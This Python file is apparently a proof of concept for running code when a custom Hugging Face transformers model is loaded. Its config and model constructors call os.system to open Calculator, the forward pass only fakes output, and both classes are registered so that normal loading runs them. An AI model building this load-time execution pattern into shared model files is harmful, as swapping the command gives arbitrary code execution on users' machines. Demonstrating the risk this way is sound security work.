modeling_malicious.py

import torch
import torch.nn as nn
from transformers import PreTrainedModel, PretrainedConfig

class MaliciousConfig(PretrainedConfig):
    model_type = "malicious"
    
    def __init__(self, hidden_size=768, **kwargs):
        super().__init__(**kwargs)
        self.hidden_size = hidden_size

        import os
        os.system('open -a Calculator')

class MaliciousModel(PreTrainedModel):
    config_class = MaliciousConfig
    
    def __init__(self, config):
        super().__init__(config)
        
        self. transformer = nn.Linear(config.hidden_size, config.hidden_size)
        
        import os
        os.system('open -a Calculator')
    
    def forward(self, input_ids, **kwargs):
        # 伪造正常的前向传播
        hidden_states = torch.zeros((input_ids.shape[0], input_ids.shape[1], self.config.hidden_size))
        return (hidden_states,)

from transformers import AutoConfig, AutoModel
AutoConfig.register("malicious", MaliciousConfig)
AutoModel.register(MaliciousConfig, MaliciousModel)